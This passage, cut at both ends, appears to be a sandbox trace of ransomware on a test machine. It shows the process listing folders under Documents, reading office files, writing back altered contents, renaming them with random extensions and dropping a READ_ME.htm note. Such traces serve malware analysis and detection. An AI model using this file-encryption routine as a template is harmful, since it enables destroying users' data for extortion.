lpBuffer=0x28765a8*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0155.097] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\READ_ME.htm", lpFilePart=0x0) returned 0x33 [0155.097] SetErrorMode (uMode=0x1) returned 0x0 [0155.098] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\vqpLNVtnZe\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\documents\\vqplnvtnze\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0155.098] GetFileType (hFile=0x1d0) returned 0x1 [0155.098] SetErrorMode (uMode=0x0) returned 0x1 [0155.098] GetFileType (hFile=0x1d0) returned 0x1 [0155.098] WriteFile (in: hFile=0x1d0, lpBuffer=0x287ab38*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x287ab38*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0155.100] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm", lpFilePart=0x0) returned 0x29 [0155.100] SetErrorMode (uMode=0x1) returned 0x0 [0155.100] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\zicomqefwium\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88416670, ftCreationTime.dwHighDateTime=0x1d8bcf0, ftLastAccessTime.dwLowDateTime=0x4a86c000, ftLastAccessTime.dwHighDateTime=0x1d8be6c, ftLastWriteTime.dwLowDateTime=0x4a86c000, ftLastWriteTime.dwHighDateTime=0x1d8be6c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0155.100] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88416670, ftCreationTime.dwHighDateTime=0x1d8bcf0, ftLastAccessTime.dwLowDateTime=0x4a86c000, ftLastAccessTime.dwHighDateTime=0x1d8be6c, ftLastWriteTime.dwLowDateTime=0x4a86c000, ftLastWriteTime.dwHighDateTime=0x1d8be6c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.101] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc906b10, ftCreationTime.dwHighDateTime=0x1d8bbd9, ftLastAccessTime.dwLowDateTime=0xc8797170, ftLastAccessTime.dwHighDateTime=0x1d8bc4f, ftLastWriteTime.dwLowDateTime=0xc8797170, ftLastWriteTime.dwHighDateTime=0x1d8bc4f, nFileSizeHigh=0x0, nFileSizeLow=0xd46b, dwReserved0=0x0, dwReserved1=0x0, cFileName="hOuHh_SwDbliUgNTQ.ppt", cAlternateFileName="HOUHH_~1.PPT")) returned 1 [0155.101] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x771e2c50, ftCreationTime.dwHighDateTime=0x1d8c120, ftLastAccessTime.dwLowDateTime=0x14904a10, ftLastAccessTime.dwHighDateTime=0x1d8c129, ftLastWriteTime.dwLowDateTime=0x14904a10, ftLastWriteTime.dwHighDateTime=0x1d8c129, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="qaULJGz74Sk", cAlternateFileName="QAULJG~1")) returned 1 [0155.101] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a35190, ftCreationTime.dwHighDateTime=0x1d8b463, ftLastAccessTime.dwLowDateTime=0x148f6d40, ftLastAccessTime.dwHighDateTime=0x1d8b745, ftLastWriteTime.dwLowDateTime=0x148f6d40, ftLastWriteTime.dwHighDateTime=0x1d8b745, nFileSizeHigh=0x0, nFileSizeLow=0x606b, dwReserved0=0x0, dwReserved1=0x0, cFileName="vXkkwtyn7WU6A.xls", cAlternateFileName="VXKKWT~1.XLS")) returned 1 [0155.101] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a35190, ftCreationTime.dwHighDateTime=0x1d8b463, ftLastAccessTime.dwLowDateTime=0x148f6d40, ftLastAccessTime.dwHighDateTime=0x1d8b745, ftLastWriteTime.dwLowDateTime=0x148f6d40, ftLastWriteTime.dwHighDateTime=0x1d8b745, nFileSizeHigh=0x0, nFileSizeLow=0x606b, dwReserved0=0x0, dwReserved1=0x0, cFileName="vXkkwtyn7WU6A.xls", cAlternateFileName="VXKKWT~1.XLS")) returned 0 [0155.101] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0155.101] SetErrorMode (uMode=0x0) returned 0x1 [0155.101] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm", lpFilePart=0x0) returned 0x29 [0155.102] SetErrorMode (uMode=0x1) returned 0x0 [0155.102] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\zicomqefwium\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88416670, ftCreationTime.dwHighDateTime=0x1d8bcf0, ftLastAccessTime.dwLowDateTime=0x4a86c000, ftLastAccessTime.dwHighDateTime=0x1d8be6c, ftLastWriteTime.dwLowDateTime=0x4a86c000, ftLastWriteTime.dwHighDateTime=0x1d8be6c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0155.102] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88416670, ftCreationTime.dwHighDateTime=0x1d8bcf0, ftLastAccessTime.dwLowDateTime=0x4a86c000, ftLastAccessTime.dwHighDateTime=0x1d8be6c, ftLastWriteTime.dwLowDateTime=0x4a86c000, ftLastWriteTime.dwHighDateTime=0x1d8be6c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.102] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc906b10, ftCreationTime.dwHighDateTime=0x1d8bbd9, ftLastAccessTime.dwLowDateTime=0xc8797170, ftLastAccessTime.dwHighDateTime=0x1d8bc4f, ftLastWriteTime.dwLowDateTime=0xc8797170, ftLastWriteTime.dwHighDateTime=0x1d8bc4f, nFileSizeHigh=0x0, nFileSizeLow=0xd46b, dwReserved0=0x0, dwReserved1=0x0, cFileName="hOuHh_SwDbliUgNTQ.ppt", cAlternateFileName="HOUHH_~1.PPT")) returned 1 [0155.102] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x771e2c50, ftCreationTime.dwHighDateTime=0x1d8c120, ftLastAccessTime.dwLowDateTime=0x14904a10, ftLastAccessTime.dwHighDateTime=0x1d8c129, ftLastWriteTime.dwLowDateTime=0x14904a10, ftLastWriteTime.dwHighDateTime=0x1d8c129, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="qaULJGz74Sk", cAlternateFileName="QAULJG~1")) returned 1 [0155.102] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a35190, ftCreationTime.dwHighDateTime=0x1d8b463, ftLastAccessTime.dwLowDateTime=0x148f6d40, ftLastAccessTime.dwHighDateTime=0x1d8b745, ftLastWriteTime.dwLowDateTime=0x148f6d40, ftLastWriteTime.dwHighDateTime=0x1d8b745, nFileSizeHigh=0x0, nFileSizeLow=0x606b, dwReserved0=0x0, dwReserved1=0x0, cFileName="vXkkwtyn7WU6A.xls", cAlternateFileName="VXKKWT~1.XLS")) returned 1 [0155.102] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a35190, ftCreationTime.dwHighDateTime=0x1d8b463, ftLastAccessTime.dwLowDateTime=0x148f6d40, ftLastAccessTime.dwHighDateTime=0x1d8b745, ftLastWriteTime.dwLowDateTime=0x148f6d40, ftLastWriteTime.dwHighDateTime=0x1d8b745, nFileSizeHigh=0x0, nFileSizeLow=0x606b, dwReserved0=0x0, dwReserved1=0x0, cFileName="vXkkwtyn7WU6A.xls", cAlternateFileName="VXKKWT~1.XLS")) returned 0 [0155.103] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0155.103] SetErrorMode (uMode=0x0) returned 0x1 [0155.103] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm\\hOuHh_SwDbliUgNTQ.ppt", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm\\hOuHh_SwDbliUgNTQ.ppt", lpFilePart=0x0) returned 0x3f [0155.103] SetErrorMode (uMode=0x1) returned 0x0 [0155.104] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm\\hOuHh_SwDbliUgNTQ.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\zicomqefwium\\houhh_swdbliugntq.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0155.104] GetFileType (hFile=0x1d0) returned 0x1 [0155.104] SetErrorMode (uMode=0x0) returned 0x1 [0155.104] GetFileType (hFile=0x1d0) returned 0x1 [0155.104] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0xd46b [0155.104] ReadFile (in: hFile=0x1d0, lpBuffer=0x287e110, nNumberOfBytesToRead=0xd46b, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x287e110*, lpNumberOfBytesRead=0x21d418*=0xd46b, lpOverlapped=0x0) returned 1 [0155.119] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm\\hOuHh_SwDbliUgNTQ.ppt", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm\\hOuHh_SwDbliUgNTQ.ppt", lpFilePart=0x0) returned 0x3f [0155.120] SetErrorMode (uMode=0x1) returned 0x0 [0155.120] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm\\hOuHh_SwDbliUgNTQ.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\zicomqefwium\\houhh_swdbliugntq.ppt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0155.121] GetFileType (hFile=0x1d0) returned 0x1 [0155.121] SetErrorMode (uMode=0x0) returned 0x1 [0155.121] GetFileType (hFile=0x1d0) returned 0x1 [0155.121] WriteFile (in: hFile=0x1d0, lpBuffer=0x2985c88*, nNumberOfBytesToWrite=0xd470, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x2985c88*, lpNumberOfBytesWritten=0x21d498*=0xd470, lpOverlapped=0x0) returned 1 [0155.123] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm\\hOuHh_SwDbliUgNTQ.ppt", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm\\hOuHh_SwDbliUgNTQ.ppt", lpFilePart=0x0) returned 0x3f [0155.124] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm\\hOuHh_SwDbliUgNTQ.ppt.d5m7h1", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm\\hOuHh_SwDbliUgNTQ.ppt.d5m7h1", lpFilePart=0x0) returned 0x46 [0155.124] SetErrorMode (uMode=0x1) returned 0x0 [0155.124] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm\\hOuHh_SwDbliUgNTQ.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\zicomqefwium\\houhh_swdbliugntq.ppt"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc906b10, ftCreationTime.dwHighDateTime=0x1d8bbd9, ftLastAccessTime.dwLowDateTime=0xc8797170, ftLastAccessTime.dwHighDateTime=0x1d8bc4f, ftLastWriteTime.dwLowDateTime=0x58f03760, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0xd470)) returned 1 [0155.124] SetErrorMode (uMode=0x0) returned 0x1 [0155.124] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm\\hOuHh_SwDbliUgNTQ.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\zicomqefwium\\houhh_swdbliugntq.ppt"), lpNewFileName="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm\\hOuHh_SwDbliUgNTQ.ppt.d5m7h1" (normalized: "c:\\users\\keecfmwgj\\documents\\zicomqefwium\\houhh_swdbliugntq.ppt.d5m7h1")) returned 1 [0155.127] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm\\vXkkwtyn7WU6A.xls", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm\\vXkkwtyn7WU6A.xls", lpFilePart=0x0) returned 0x3b [0155.127] SetErrorMode (uMode=0x1) returned 0x0 [0155.127] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm\\vXkkwtyn7WU6A.xls" (normalized: "c:\\users\\keecfmwgj\\documents\\zicomqefwium\\vxkkwtyn7wu6a.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0155.127] GetFileType (hFile=0x1d0) returned 0x1 [0155.127] SetErrorMode (uMode=0x0) returned 0x1 [0155.127] GetFileType (hFile=0x1d0) returned 0x1 [0155.127] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d538 | out: lpFileSizeHigh=0x21d538*=0x0) returned 0x606b [0155.127] ReadFile (in: hFile=0x1d0, lpBuffer=0x2994048, nNumberOfBytesToRead=0x606b, lpNumberOfBytesRead=0x21d418, lpOverlapped=0x0 | out: lpBuffer=0x2994048*, lpNumberOfBytesRead=0x21d418*=0x606b, lpOverlapped=0x0) returned 1 [0155.188] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm\\vXkkwtyn7WU6A.xls", nBufferLength=0x105, lpBuffer=0x21cee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm\\vXkkwtyn7WU6A.xls", lpFilePart=0x0) returned 0x3b [0155.188] SetErrorMode (uMode=0x1) returned 0x0 [0155.188] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm\\vXkkwtyn7WU6A.xls" (normalized: "c:\\users\\keecfmwgj\\documents\\zicomqefwium\\vxkkwtyn7wu6a.xls"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0155.190] GetFileType (hFile=0x1d0) returned 0x1 [0155.190] SetErrorMode (uMode=0x0) returned 0x1 [0155.190] GetFileType (hFile=0x1d0) returned 0x1 [0155.190] WriteFile (in: hFile=0x1d0, lpBuffer=0x28995a8*, nNumberOfBytesToWrite=0x6070, lpNumberOfBytesWritten=0x21d498, lpOverlapped=0x0 | out: lpBuffer=0x28995a8*, lpNumberOfBytesWritten=0x21d498*=0x6070, lpOverlapped=0x0) returned 1 [0155.194] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm\\vXkkwtyn7WU6A.xls", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm\\vXkkwtyn7WU6A.xls", lpFilePart=0x0) returned 0x3b [0155.194] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm\\vXkkwtyn7WU6A.xls.516tp7", nBufferLength=0x105, lpBuffer=0x21d170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm\\vXkkwtyn7WU6A.xls.516tp7", lpFilePart=0x0) returned 0x42 [0155.194] SetErrorMode (uMode=0x1) returned 0x0 [0155.194] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm\\vXkkwtyn7WU6A.xls" (normalized: "c:\\users\\keecfmwgj\\documents\\zicomqefwium\\vxkkwtyn7wu6a.xls"), fInfoLevelId=0x0, lpFileInformation=0x21d3c0 | out: lpFileInformation=0x21d3c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a35190, ftCreationTime.dwHighDateTime=0x1d8b463, ftLastAccessTime.dwLowDateTime=0x148f6d40, ftLastAccessTime.dwHighDateTime=0x1d8b745, ftLastWriteTime.dwLowDateTime=0x58fc1e40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x6070)) returned 1 [0155.194] SetErrorMode (uMode=0x0) returned 0x1 [0155.194] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm\\vXkkwtyn7WU6A.xls" (normalized: "c:\\users\\keecfmwgj\\documents\\zicomqefwium\\vxkkwtyn7wu6a.xls"), lpNewFileName="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm\\vXkkwtyn7WU6A.xls.516tp7" (normalized: "c:\\users\\keecfmwgj\\documents\\zicomqefwium\\vxkkwtyn7wu6a.xls.516tp7")) returned 1 [0155.197] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm\\qaULJGz74Sk", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm\\qaULJGz74Sk", lpFilePart=0x0) returned 0x35 [0155.197] SetErrorMode (uMode=0x1) returned 0x0 [0155.197] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm\\qaULJGz74Sk\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\zicomqefwium\\qauljgz74sk\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x771e2c50, ftCreationTime.dwHighDateTime=0x1d8c120, ftLastAccessTime.dwLowDateTime=0x14904a10, ftLastAccessTime.dwHighDateTime=0x1d8c129, ftLastWriteTime.dwLowDateTime=0x14904a10, ftLastWriteTime.dwHighDateTime=0x1d8c129, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0155.198] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x771e2c50, ftCreationTime.dwHighDateTime=0x1d8c120, ftLastAccessTime.dwLowDateTime=0x14904a10, ftLastAccessTime.dwHighDateTime=0x1d8c129, ftLastWriteTime.dwLowDateTime=0x14904a10, ftLastWriteTime.dwHighDateTime=0x1d8c129, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.198] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf61e18a0, ftCreationTime.dwHighDateTime=0x1d8b6ab, ftLastAccessTime.dwLowDateTime=0xe461e980, ftLastAccessTime.dwHighDateTime=0x1d8bdb2, ftLastWriteTime.dwLowDateTime=0xe461e980, ftLastWriteTime.dwHighDateTime=0x1d8bdb2, nFileSizeHigh=0x0, nFileSizeLow=0x7d4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="nuhsopu3uHtKM.odt", cAlternateFileName="NUHSOP~1.ODT")) returned 1 [0155.198] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78e739b0, ftCreationTime.dwHighDateTime=0x1d8be45, ftLastAccessTime.dwLowDateTime=0xa6bc4630, ftLastAccessTime.dwHighDateTime=0x1d8be74, ftLastWriteTime.dwLowDateTime=0xa6bc4630, ftLastWriteTime.dwHighDateTime=0x1d8be74, nFileSizeHigh=0x0, nFileSizeLow=0x168bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="pUWO836lfazYXM wkgwY.pps", cAlternateFileName="PUWO83~1.PPS")) returned 1 [0155.198] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78e739b0, ftCreationTime.dwHighDateTime=0x1d8be45, ftLastAccessTime.dwLowDateTime=0xa6bc4630, ftLastAccessTime.dwHighDateTime=0x1d8be74, ftLastWriteTime.dwLowDateTime=0xa6bc4630, ftLastWriteTime.dwHighDateTime=0x1d8be74, nFileSizeHigh=0x0, nFileSizeLow=0x168bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="pUWO836lfazYXM wkgwY.pps", cAlternateFileName="PUWO83~1.PPS")) returned 0 [0155.198] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0155.199] SetErrorMode (uMode=0x0) returned 0x1 [0155.199] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm\\qaULJGz74Sk", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm\\qaULJGz74Sk", lpFilePart=0x0) returned 0x35 [0155.199] SetErrorMode (uMode=0x1) returned 0x0 [0155.199] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm\\qaULJGz74Sk\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\zicomqefwium\\qauljgz74sk\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x771e2c50, ftCreationTime.dwHighDateTime=0x1d8c120, ftLastAccessTime.dwLowDateTime=0x14904a10, ftLastAccessTime.dwHighDateTime=0x1d8c129, ftLastWriteTime.dwLowDateTime=0x14904a10, ftLastWriteTime.dwHighDateTime=0x1d8c129, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0155.199] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x771e2c50, ftCreationTime.dwHighDateTime=0x1d8c120, ftLastAccessTime.dwLowDateTime=0x14904a10, ftLastAccessTime.dwHighDateTime=0x1d8c129, ftLastWriteTime.dwLowDateTime=0x14904a10, ftLastWriteTime.dwHighDateTime=0x1d8c129, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.200] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf61e18a0, ftCreationTime.dwHighDateTime=0x1d8b6ab, ftLastAccessTime.dwLowDateTime=0xe461e980, ftLastAccessTime.dwHighDateTime=0x1d8bdb2, ftLastWriteTime.dwLowDateTime=0xe461e980, ftLastWriteTime.dwHighDateTime=0x1d8bdb2, nFileSizeHigh=0x0, nFileSizeLow=0x7d4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="nuhsopu3uHtKM.odt", cAlternateFileName="NUHSOP~1.ODT")) returned 1 [0155.200] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78e739b0, ftCreationTime.dwHighDateTime=0x1d8be45, ftLastAccessTime.dwLowDateTime=0xa6bc4630, ftLastAccessTime.dwHighDateTime=0x1d8be74, ftLastWriteTime.dwLowDateTime=0xa6bc4630, ftLastWriteTime.dwHighDateTime=0x1d8be74, nFileSizeHigh=0x0, nFileSizeLow=0x168bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="pUWO836lfazYXM wkgwY.pps", cAlternateFileName="PUWO83~1.PPS")) returned 1 [0155.200] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78e739b0, ftCreationTime.dwHighDateTime=0x1d8be45, ftLastAccessTime.dwLowDateTime=0xa6bc4630, ftLastAccessTime.dwHighDateTime=0x1d8be74, ftLastWriteTime.dwLowDateTime=0xa6bc4630, ftLastWriteTime.dwHighDateTime=0x1d8be74, nFileSizeHigh=0x0, nFileSizeLow=0x168bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="pUWO836lfazYXM wkgwY.pps", cAlternateFileName="PUWO83~1.PPS")) returned 0 [0155.200] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0155.200] SetErrorMode (uMode=0x0) returned 0x1 [0155.200] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm\\qaULJGz74Sk\\nuhsopu3uHtKM.odt", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm\\qaULJGz74Sk\\nuhsopu3uHtKM.odt", lpFilePart=0x0) returned 0x47 [0155.200] SetErrorMode (uMode=0x1) returned 0x0 [0155.201] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zIcOMqefwIUm\\qaULJGz74Sk\\nuhsopu3uHtKM.odt" (normalized: "c:\\users\\keecfmwgj\\documents\\zicomqefwium\\qauljgz74sk\\nuhsopu3uhtkm.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0155.201] GetFileType (hFile=0x1d0) returned 0x1 [0155.201] SetErrorMode (uMode=0x0) returned 0x1 [0155.201] 